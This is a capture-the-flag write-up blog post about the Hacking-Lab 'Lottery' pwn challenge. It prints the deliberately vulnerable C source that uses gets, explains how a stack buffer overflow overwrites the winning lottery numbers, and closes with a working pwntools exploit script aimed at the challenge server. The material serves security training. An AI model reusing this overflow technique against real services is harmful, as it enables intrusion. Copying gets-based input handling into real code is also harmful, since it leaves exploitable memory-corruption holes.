Ret2Cringe

April 14, 2022

Hacking Lab Lottery - WriteUp

Writeup for Lottery on Hacking Lab

Finally a pwn challenge! Unfortunately, a fairly easy one as it turns out.

The binary

Alright, the challenges gives us a binary and to my surprise also the source code of the binary. Let's have a look at it.

// gcc lottery.c -fno-stack-protector -static -o lottery

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int play();

void main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char prize[40] = "Place your price in prize.txt";
    FILE *f;
    if ((f = fopen("prize.txt", "r")) != 0) {
        fgets(prize, sizeof (prize), f);
        fclose(f);
    }

    time_t t;
    srand((unsigned) time(&t));

    if (play() == 1) {
        printf("You win! Here is your prize:\n%s\n", prize);
    }
}

int play() {
    int a = 0;
    int b = 0;
    int c = 0;
    int x = 0;
    int y = 0;
    int z = 0;
    char buf[32];

    printf("Welcome to the official Hacking-Lab lottery!\n");
    printf("\n");
    printf("Enter 3 numbers between 1 and 100000 to win!\n\n");

    x = rand() % 100000;
    y = rand() % 100000;
    z = rand() % 100000;

    printf("Enter your first guess: ");
    gets(buf);
    a = atoi(buf);

    printf("Enter your second guess: ");
    gets(buf);
    b = atoi(buf);

    printf("Enter your final guess: ");
    gets(buf);
    c = atoi(buf);

    printf("Your guesses are %d, %d and %d.\n", a, b, c);
    printf("The winning numbers were %d, %d and %d.\n", x, y, z);

    if (a == x && b == y && c == z) {
        return 1;
    } else {
        printf("Sorry, better luck next time.\n");
        return 0;
    }
}

So, when I saw this source code, my first thought was: "basic ret2win", because of the gets in the code. You should always use fgets instead of gets as it's deprecated and makes your program vulnerable.

Stack canary -_-

From many other CTFs I know how to exploit buffer overflow vulnerabilities and that's why I also have an automated script that does all the work for me, but this time it failed for some yet unknown reason.

Running checksec lottery shows exactly why.

image

The reason it fails, is due to the stack canary which was in this case created because of the "-static" option when compiling it. The "-static" makes the binary statically linked.

Maybe I should not just overfly the source code...? By actually reading through the source code I noticed that they gave us the compilation command...😅. It's gcc lottery.c -fno-stack-protector -static -o lottery, even though I'm pretty sure they forgot the "-no-pie" flag, as PIE is disabled. Anyway, at least the stack protector is disabled which means we can still overflow the input.

char prize[40] = "Place your price in prize.txt";
    FILE *f;
    if ((f = fopen("prize.txt", "r")) != 0) {
        fgets(prize, sizeof (prize), f);
        fclose(f);
    }

This part essentially reads the flag onto the stack which means overflowing it too much will result in overwriting the flag. The binary creates 3 random numbers then asks you for 3 numbers and if they match with the 3 random numbers, the program will spit out the flag.

Messing with the binary

Let's see what happens when we overflow it.

image

Wait...that doesn't seem right. Let's overflow it a bit more.

image

Hmm...it seems like we can simply overflow the binary and manipulate the winning numbers. But we have to waste a guess for it. Well, no, we actually don't have to.

image

We can simply write the number in front of the overflow characters and it will count it as our guess.

The Exploit?

image

Well, yes, this is the working exploit. We manipulate the random numbers by overflowing the binary and set our guesses to the winning numbers. But you know what? It's too boring without an actual script.

The Exploit!

from pwn import *

p = remote("152.96.7.2", 4242)
magic_number = b"1094795585"

p.sendline(magic_number + b"A"*50)
p.sendline(magic_number)
p.sendline(magic_number)

p.recvuntil(b"prize:")
print("FLAG: " + p.recvall(timeout=1).decode().strip())

image

Executing it will also give us the flag but makes me feel better than doing it manually.